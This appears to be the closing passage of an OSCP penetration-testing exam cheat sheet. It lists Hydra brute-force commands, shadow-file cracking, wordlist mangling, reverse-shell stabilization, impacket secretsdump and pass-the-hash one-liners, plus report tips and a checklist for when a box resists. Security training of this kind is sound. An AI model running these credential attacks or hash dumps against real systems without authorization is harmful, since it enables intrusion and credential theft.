hydra -l user -P rockyou.txt $IP ssh -t 4
hydra -L users.txt -P pass.txt $IP smb
hydra -l admin -P rockyou.txt $IP http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
hydra -l user -P pass.txt ftp://$IP

7.5 Crack /etc/shadow

unshadow /etc/passwd /etc/shadow > combined
john --wordlist=rockyou.txt combined        # or hashcat -m 1800 for $6$

7.6 Wordlist mangling

cewl http://$IP -w words.txt -d 3 -m 5                              # from website
hashcat --stdout words.txt -r rules/best64.rule | sort -u > big.txt  # variations
./username-anarchy Firstname Lastname                                # username lists from names

Reminder: SQLMap and other auto-exploit tools stay banned on the exam - this is offline cracking only.


08. Exam Report

No points without it - don't fumble the deliverable.

  • Use the official OffSec OSCP/OSCP+ report template (.docx). Download and fill it offline.
  • One section per machine: ports/services -> foothold (exact request/exploit + URL/CVE) -> local.txt proof -> privesc steps -> proof.txt proof.
  • Every claim needs a screenshot showing the command, its output, and whoami/id/ipconfig + the target IP in frame.
  • Write commands verbatim so a grader can reproduce each step. Note any exploit you modified.
  • AD set: document the full chain host-by-host - how you got each credential and each hop to the DC.
  • Workflow: keep per-box markdown notes during the exam, paste into the template afterward. No AI for writing the report either.
  • Export to a single PDF, submit to the OffSec portal within 24h of the window closing.
  • Unproven flags / missing screenshots = lost points. When unsure, screenshot it.

09. Quick-Reference Appendix

9.1 Common ports (memorize the cluster)

21 FTP | 22 SSH | 23 Telnet | 25 SMTP | 53 DNS | 80/443 HTTP(S) | 88 Kerberos(DC)
110 POP3 | 111 RPC/NFS | 135/139/445 SMB-RPC | 143 IMAP | 161 SNMP(UDP) | 389/636 LDAP
1433 MSSQL | 3306 MySQL | 3389 RDP | 5432 Postgres | 5985/5986 WinRM | 6379 Redis

Seeing 88 + 389 + 445 + 5985 together = Domain Controller. 53 + 88 too.

9.2 Decision flow (per box)

nmap -> /etc/hosts -> per-port enum -> web dirbust -> identify version/CVE/default creds
  -> FOOTHOLD (web exploit / public exploit / creds) -> stabilize shell -> screenshot local.txt
  -> linpeas/winpeas + manual -> sudo -l / whoami /priv FIRST
  -> PRIVESC -> screenshot proof.txt -> document + move on
AD: given creds -> bloodhound -> roast/ACL/spray -> lateral (PtH) -> secretsdump -> DCSync -> DA

9.3 When stuck (run the checklist before switching)

  • Re-read ALL nmap output + every script line. Did you scan UDP? all 65535 TCP?
  • Did you check every SMB share / web vhost / user description?
  • Did you try found creds everywhere (SSH, SMB, RDP, WinRM, web, su)?
  • sudo -l / whoami /priv done? GTFOBins/LOLBAS the binary?
  • Any internal-only port in ss -tlnp / netstat -ano you haven't forwarded out?
  • Backup/config/history files read? .git? source via php filter?
  • For AD: re-collect BloodHound as the NEW user after each cred - paths change.
  • Version too obscure for searchsploit? Search the exact name + version + "exploit".

9.4 Reverse shell stabilize (one-liner recap)

python3 -c 'import pty;pty.spawn("/bin/bash")'  ; Ctrl+Z ; stty raw -echo; fg ; export TERM=xterm

9.5 secretsdump / PtH recap

impacket-secretsdump 'dom/user:pass@IP'      # dump
impacket-wmiexec dom/user@IP -hashes :NThash # use the hash
evil-winrm -i IP -u user -H NThash

9.6 Offline reference stash to prepare BEFORE exam (no AI/internet allowed)

HackTricks (book.hacktricks.xyz), GTFOBins, LOLBAS, PayloadsAllTheThings, revshells.com cheats, hashcat mode table, Impacket/nxc help dumps, your own per-box notes. Keep binaries staged: linpeas, winPEASany, pspy64, chisel (lin+win), ligolo (proxy+agent), PrintSpoofer64, GodPotato, JuicyPotatoNG, PowerView, SharpHound, mimikatz, PwnKit.


10. References

Web

Services

Linux PrivEsc

Windows PrivEsc

Tooling

Active Directory (ADCS, ACLs, relay, BloodHound)

Cross-checked community references

The companion repo with every phase as a standalone file: https://github.com/resux1338/OSCP-2026-Cheatsheet

Always confirm the current exam rules on the official guide before sitting - restricted-tool lists change. AI tools are not permitted during the live exam or the report phase; this is offline notes.


End of compendium.